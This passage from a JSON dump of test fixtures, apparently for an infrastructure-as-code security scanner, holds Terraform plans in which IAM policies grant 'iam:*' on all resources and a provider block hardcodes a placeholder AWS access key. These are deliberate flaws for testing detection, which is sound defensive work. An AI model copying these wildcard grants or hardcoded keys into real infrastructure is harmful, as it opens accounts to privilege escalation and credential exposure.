\"/\",\n            \"policy\": \"{\\\"Statement\\\":[{\\\"Action\\\":\\\"s3:*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":\\\"*\\\"}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"tags_all\": {}\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\\"Statement\\\":[{\\\"Action\\\":\\\"sts:AssumeRole\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"Service\\\":\\\"lambda.amazonaws.com\\\"}}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"inline_policy\": [],\n            \"managed_policy_arns\": [],\n            \"tags_all\": {}\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy.fail_1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"fail_1\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"example\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"iam:*\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\"\n          },\n          \"sensitive_values\": {}\n        },\n        {\n          \"address\": \"aws_iam_user.fail_3\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"fail_3\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"force_destroy\": false,\n            \"name\": \"example\",\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"tags_all\": {}\n          }\n        },\n        {\n          \"address\": \"aws_iam_user_policy.fail_3\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"fail_3\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"example\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"iam:*\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\",\n            \"user\": \"example\"\n          },\n          \"sensitive_values\": {}\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_iam_group.fail_2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_group\",\n      \"name\": \"fail_2\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"example\",\n          \"path\": \"/\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"aws_iam_group_policy.fail_2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_group_policy\",\n      \"name\": \"fail_2\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"group\": \"example\",\n          \"name\": \"example\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\r\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\r\\n  \\\"Statement\\\": [\\r\\n    {\\r\\n      \\\"Action\\\": [\\r\\n        \\\"s3:Get*\\\",\\r\\n        \\\"iam:*\\\"\\r\\n      ],\\r\\n      \\\"Effect\\\": \\\"Allow\\\",\\r\\n      \\\"Resource\\\": \\\"*\\\"\\r\\n    }\\r\\n  ]\\r\\n}\\r\\n\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"aws_iam_policy.policy_pass\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_policy\",\n      \"name\": \"policy_pass\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"name\": \"policy_pass\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"policy\": \"{\\\"Statement\\\":[{\\\"Action\\\":\\\"s3:*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":\\\"*\\\"}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"policy_id\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\\"Statement\\\":[{\\\"Action\\\":\\\"sts:AssumeRole\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"Service\\\":\\\"lambda.amazonaws.com\\\"}}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"inline_policy\": true,\n          \"managed_policy_arns\": true,\n          \"name\": true,\n          \"name_prefix\": true,\n          \"tags_all\": true,\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"inline_policy\": [],\n          \"managed_policy_arns\": [],\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy.fail_1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy\",\n      \"name\": \"fail_1\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"example\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"iam:*\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"role\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"aws_iam_user.fail_3\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user\",\n      \"name\": \"fail_3\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": false,\n          \"name\": \"example\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"tags_all\": true,\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user_policy.fail_3\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user_policy\",\n      \"name\": \"fail_3\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"example\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"iam:*\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\",\n          \"user\": \"example\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    }\n  ],\n  \"prior_state\": {\n    \"format_version\": \"1.0\",\n    \"terraform_version\": \"1.1.5\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_iam_policy_document.fail_1\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"fail_1\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"3380463433\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"iam:*\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"override_policy_documents\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"source_policy_documents\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"iam:*\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [],\n                  \"resources\": [\n                    \"*\"\n                  ],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            },\n            \"sensitive_values\": {\n              \"statement\": [\n                {\n                  \"actions\": [\n                    false\n                  ],\n                  \"condition\": [],\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [],\n                  \"resources\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_iam_group.fail_2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_group\",\n          \"name\": \"fail_2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"example\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_group_policy.fail_2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_group_policy\",\n          \"name\": \"fail_2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"group\": {\n              \"references\": [\n                \"aws_iam_group.fail_2.name\",\n                \"aws_iam_group.fail_2\"\n              ]\n            },\n            \"name\": {\n              \"constant_value\": \"example\"\n            },\n            \"policy\": {\n              \"constant_value\": \"{\\r\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\r\\n  \\\"Statement\\\": [\\r\\n    {\\r\\n      \\\"Action\\\": [\\r\\n        \\\"s3:Get*\\\",\\r\\n        \\\"iam:*\\\"\\r\\n      ],\\r\\n      \\\"Effect\\\": \\\"Allow\\\",\\r\\n      \\\"Resource\\\": \\\"*\\\"\\r\\n    }\\r\\n  ]\\r\\n}\\r\\n\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_policy.policy_pass\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_policy\",\n          \"name\": \"policy_pass\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"policy_pass\"\n            },\n            \"path\": {\n              \"constant_value\": \"/\"\n            },\n            \"policy\": {}\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {}\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy.fail_1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"fail_1\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"example\"\n            },\n            \"policy\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.fail_1.json\",\n                \"data.aws_iam_policy_document.fail_1\"\n              ]\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.example.id\",\n                \"aws_iam_role.example\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user.fail_3\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"fail_3\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"example\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user_policy.fail_3\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"fail_3\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"example\"\n            },\n            \"policy\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.fail_1.json\",\n                \"data.aws_iam_policy_document.fail_1\"\n              ]\n            },\n            \"user\": {\n              \"references\": [\n                \"aws_iam_user.fail_3.name\",\n                \"aws_iam_user.fail_3\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.fail_1\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"fail_1\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"iam:*\"\n                  ]\n                },\n                \"effect\": {\n                  \"constant_value\": \"Allow\"\n                },\n                \"resources\": {\n                  \"constant_value\": [\n                    \"*\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_providers/main.tf",
    "content": "provider \"aws\" {\n    region = \"us-east-1\"\n}\n\nprovider \"aws\" {\n    region = \"us-east-2\"\n    alias = \"ohio\"\n    access_key = \"AKIAIOSFODNN7EXAMPLE\"\n}\nprovider \"aws\" {\n    region = \"us-west-2\"\n    alias = \"oregon\"\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_providers/tfplan.json",
    "content": "{\n    \"format_version\": \"1.2\",\n    \"terraform_version\": \"1.11.4\",\n    \"planned_values\": {\n        \"root_module\": {}\n    },\n    \"configuration\": {\n        \"provider_config\": {\n            \"aws\": {\n                \"name\": \"aws\",\n                \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n                \"expressions\": {\n                    \"region\": {\n                        \"constant_value\": \"us-east-1\"\n                    }\n                }\n            },\n            \"aws.ohio\": {\n                \"name\": \"aws\",\n                \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n                \"alias\": \"ohio\",\n                \"expressions\": {\n                    \"access_key\": {\n                        \"constant_value\": \"AKIAIOSFODNN7EXAMPLE\"\n                    },\n                    \"region\": {\n                        \"constant_value\": \"us-east-2\"\n                    }\n                }\n            },\n            \"aws.oregon\": {\n                \"name\": \"aws\",\n                \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n                \"alias\": \"oregon\",\n                \"expressions\": {\n                    \"region\": {\n                        \"constant_value\": \"us-west-2\"\n                    }\n                }\n            }\n        },\n        \"root_module\": {}\n    },\n    \"timestamp\": \"2025-05-05T16:11:28Z\",\n    \"applyable\": false,\n    \"complete\": true,\n    \"errored\": false\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_resource_reference/tfplan.json",
    "content": "{\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.12.25\",\n    \"planned_values\": {\n        \"root_module\": {\n            \"resources\": [\n                {\n                    \"address\": \"aws_cloudwatch_log_group.audit\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_cloudwatch_log_group\",\n                    \"name\": \"audit\",\n                    \"provider_name\": \"aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                        \"kms_key_id\": null,\n                        \"name\": \"audit\",\n                        \"name_prefix\": null,\n                        \"retention_in_days\": 0,\n                        \"tags\": null\n                    }\n                },\n                {\n                    \"address\": \"aws_cloudwatch_log_group.es_application\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_cloudwatch_log_group\",\n                    \"name\": \"es_application\",\n                    \"provider_name\": \"aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                        \"kms_key_id\": null,\n                        \"name\": \"es_application\",\n                        \"name_prefix\": null,\n                        \"retention_in_days\": 0,\n                        \"tags\": null\n                    }\n                },\n                {\n                    \"address\": \"aws_elasticsearch_domain.es\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_elasticsearch_domain\",\n                    \"name\": \"es\",\n                    \"provider_name\": \"aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                        \"cluster_config\": [\n                            {\n                                \"dedicated_master_count\": null,\n                                \"dedicated_master_enabled\": false,\n                                \"dedicated_master_type\": null,\n                                \"instance_count\": 1,\n                                \"instance_type\": \"r5.large.elasticsearch\",\n                                \"warm_count\": null,\n                                \"warm_enabled\": null,\n                                \"warm_type\": null,\n                                \"zone_awareness_config\": [],\n                                \"zone_awareness_enabled\": null\n                            }\n                        ],\n                        \"cognito_options\": [],\n                        \"domain_endpoint_options\": [\n                            {\n                                \"custom_endpoint\": null,\n                                \"custom_endpoint_certificate_arn\": null,\n                                \"custom_endpoint_enabled\": false,\n                                \"enforce_https\": true\n                            }\n                        ],\n                        \"domain_name\": \"test\",\n                        \"elasticsearch_version\": \"7.0\",\n                        \"encrypt_at_rest\": [{\"enabled\": true}],\n                        \"log_publishing_options\": [\n                            {\"enabled\": true, \"log_type\": \"AUDIT_LOGS\"},\n                            {\"enabled\": true, \"log_type\": \"ES_APPLICATION_LOGS\"}\n                        ],\n                        \"snapshot_options\": [],\n                        \"tags\": null,\n                        \"timeouts\": null,\n                        \"vpc_options\": [{\"security_group_ids\": null, \"subnet_ids\": [\"subnet-efc0c6a2\"]}]\n                    }\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"aws_cloudwatch_log_group.audit\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_cloudwatch_log_group\",\n            \"name\": \"audit\",\n            \"provider_name\": \"aws\",\n            \"change\": {\n                \"actions\": [\"create\"],\n                \"before\": null,\n                \"after\": {\n                    \"kms_key_id\": null,\n                    \"name\": \"audit\",\n                    \"name_prefix\": null,\n                    \"retention_in_days\": 0,\n                    \"tags\": null\n                },\n                \"after_unknown\": {\"arn\": true, \"id\": true}\n            }\n        },\n        {\n            \"address\": \"aws_cloudwatch_log_group.es_application\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_cloudwatch_log_group\",\n            \"name\": \"es_application\",\n            \"provider_name\": \"aws\",\n            \"change\": {\n                \"actions\": [\"create\"],\n                \"before\": null,\n                \"after\": {\n                    \"kms_key_id\": null,\n                    \"name\": \"es_application\",\n                    \"name_prefix\": null,\n                    \"retention_in_days\": 0,\n                    \"tags\": null\n                },\n                \"after_unknown\": {\"arn\": true, \"id\": true}\n            }\n        },\n        {\n            \"address\": \"aws_elasticsearch_domain.es\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_elasticsearch_domain\",\n            \"name\": \"es\",\n            \"provider_name\": \"aws\",\n            \"change\": {\n                \"actions\": [\"create\"],\n                \"before\": null,\n                \"after\": {\n                    \"cluster_config\": [\n                        {\n                            \"dedicated_master_count\": null,\n                            \"dedicated_master_enabled\": false,\n                            \"dedicated_master_type\": null,\n                            \"instance_count\": 1,\n                            \"instance_type\": \"r5.large.elasticsearch\",\n                            \"warm_count\": null,\n                            \"warm_enabled\": null,\n                            \"warm_type\": null,\n                            \"zone_awareness_config\": [],\n                            \"zone_awareness_enabled\": null\n                        }\n                    ],\n                    \"cognito_options\": [],\n                    \"domain_endpoint_options\": [\n                        {\n                            \"custom_endpoint\": null,\n                            \"custom_endpoint_certificate_arn\": null,\n                            \"custom_endpoint_enabled\": false,\n                            \"enforce_https\": true\n                        }\n                    ],\n                    \"domain_name\": \"test\",\n                    \"elasticsearch_version\": \"7.0\",\n                    \"encrypt_at_rest\": [{\"enabled\": true}],\n                    \"log_publishing_options\": [\n                        {\"enabled\": true, \"log_type\": \"AUDIT_LOGS\"},\n                        {\"enabled\": true, \"log_type\": \"ES_APPLICATION_LOGS\"}\n                    ],\n                    \"snapshot_options\": [],\n                    \"tags\": null,\n                    \"timeouts\": null,\n                    \"vpc_options\": [{\"security_group_ids\": null, \"subnet_ids\": [\"subnet-efc0c6a2\"]}]\n                },\n                \"after_unknown\": {\n                    \"access_policies\": true,\n                    \"advanced_options\": true,\n                    \"advanced_security_options\": true,\n                    \"arn\": true,\n                    \"cluster_config\": [{\"zone_awareness_config\": []}],\n                    \"cognito_options\": [],\n                    \"domain_endpoint_options\": [{\"tls_security_policy\": true}],\n                    \"domain_id\": true,\n                    \"ebs_options\": true,\n                    \"encrypt_at_rest\": [{\"kms_key_id\": true}],\n                    \"endpoint\": true,\n                    \"id\": true,\n                    \"kibana_endpoint\": true,\n                    \"log_publishing_options\": [{\"cloudwatch_log_group_arn\": true}, {\"cloudwatch_log_group_arn\": true}],\n                    \"node_to_node_encryption\": true,\n                    \"snapshot_options\": [],\n                    \"vpc_options\": [{\"availability_zones\": true, \"subnet_ids\": [false], \"vpc_id\": true}]\n                }\n            }\n        }\n    ],\n    \"configuration\": {\n        \"provider_config\": {\"aws\": {\"name\": \"aws\", \"expressions\": {\"region\": {\"constant_value\": \"eu-central-1\"}}}},\n        \"root_module\": {\n            \"resources\": [\n                {\n                    \"address\": \"aws_cloudwatch_log_group.audit\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_cloudwatch_log_group\",\n                    \"name\": \"audit\",\n                    \"provider_config_key\": \"aws\",\n                    \"expressions\": {\"name\": {\"constant_value\": \"audit\"}},\n                    \"schema_version\": 0\n                },\n                {\n                    \"address\": \"aws_cloudwatch_log_group.es_application\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_cloudwatch_log_group\",\n                    \"name\": \"es_application\",\n                    \"provider_config_key\": \"aws\",\n                    \"expressions\": {\"name\": {\"constant_value\": \"es_application\"}},\n                    \"schema_version\": 0\n                },\n                {\n                    \"address\": \"aws_elasticsearch_domain.es\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_elasticsearch_domain\",\n                    \"name\": \"es\",\n                    \"provider_config_key\": \"aws\",\n                    \"expressions\": {\n                        \"cluster_config\": [{\"instance_type\": {\"constant_value\": \"r5.large.elasticsearch\"}}],\n                        \"domain_endpoint_options\": [{\"enforce_https\": {\"constant_value\": true}}],\n                        \"domain_name\": {\"constant_value\": \"test\"},\n                        \"elasticsearch_version\": {\"constant_value\": \"7.0\"},\n                        \"encrypt_at_rest\": [{\"enabled\": {\"constant_value\": true}}],\n                        \"log_publishing_options\": [\n                            {\n                                \"cloudwatch_log_group_arn\": {\"references\": [\"aws_cloudwatch_log_group.audit\"]},\n                                \"enabled\": {\"constant_value\": true},\n                                \"log_type\": {\"constant_value\": \"AUDIT_LOGS\"}\n                            },\n                            {\n                                \"cloudwatch_log_group_arn\": {\"references\": [\"aws_cloudwatch_log_group.es_application\"]},\n                                \"enabled\": {\"constant_value\": true},\n                                \"log_type\": {\"constant_value\": \"ES_APPLICATION_LOGS\"}\n                            }\n                        ],\n                        \"vpc_options\": [{\"subnet_ids\": {\"constant_value\": [\"subnet-efc0c6a2\"]}}]\n                    },\n                    \"schema_version\": 0\n                }\n            ]\n        }\n    }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_resource_reference/tfplan_extra_ref.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.6\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"azurerm_network_security_group.fail\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_network_security_group\",\n          \"name\": \"fail\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"location\": \"canadacentral\",\n            \"name\": \"fail\",\n            \"resource_group_name\": \"test\",\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"security_rule\": []\n          }\n        },\n        {\n          \"address\": \"azurerm_network_security_group.pass\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_network_security_group\",\n          \"name\": \"pass\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"location\": \"canadacentral\",\n            \"name\": \"pass\",\n            \"resource_group_name\": \"test\",\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"security_rule\": []\n          }\n        },\n        {\n          \"address\": \"azurerm_network_security_rule.pass\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_network_security_rule\",\n          \"name\": \"pass\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access\": \"Deny\",\n            \"description\": null,\n            \"destination_address_prefix\": \"*\",\n            \"destination_address_prefixes\": null,\n            \"destination_application_security_group_ids\": null,\n            \"destination_port_range\": \"3389\",\n            \"destination_port_ranges\": null,\n            \"direction\": \"Inbound\",\n            \"name\": \"pass\",\n            \"network_security_group_name\": \"pass\",\n            \"priority\": 100,\n            \"protocol\": \"Tcp\",\n            \"resource_group_name\": \"test\",\n            \"source_address_prefix\": \"*\",\n            \"source_address_prefixes\": null,\n            \"source_application_security_group_ids\": null,\n            \"source_port_range\": \"*\",\n            \"source_port_ranges\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {}\n        },\n        {\n          \"address\": \"azurerm_resource_group.test\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_resource_group\",\n          \"name\": \"test\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"location\": \"canadacentral\",\n            \"name\": \"test\",\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {}\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"azurerm_network_security_group.fail\",\n      \"mode\": \"managed\",\n      \"type\": \"azurerm_network_security_group\",\n      \"name\": \"fail\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"location\": \"canadacentral\",\n          \"name\": \"fail\",\n          \"resource_group_name\": \"test\",\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"security_rule\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"security_rule\": []\n        }\n      }\n    },\n    {\n      \"address\": \"azurerm_network_security_group.pass\",\n      \"mode\": \"managed\",\n      \"type\": \"azurerm_network_security_group\",\n      \"name\": \"pass\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"location\": \"canadacentral\",\n          \"name\": \"pass\",\n          \"resource_group_name\": \"test\",\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"security_rule\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"security_rule\": []\n        }\n      }\n    },\n    {\n      \"address\": \"azurerm_network_security_rule.pass\",\n      \"mode\": \"managed\",\n      \"type\": \"azurerm_network_security_rule\",\n      \"name\": \"pass\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access\": \"Deny\",\n          \"description\": null,\n          \"destination_address_prefix\": \"*\",\n          \"destination_address_prefixes\": null,\n          \"destination_application_security_group_ids\": null,\n          \"destination_port_range\": \"3389\",\n          \"destination_port_ranges\": null,\n          \"direction\": \"Inbound\",\n          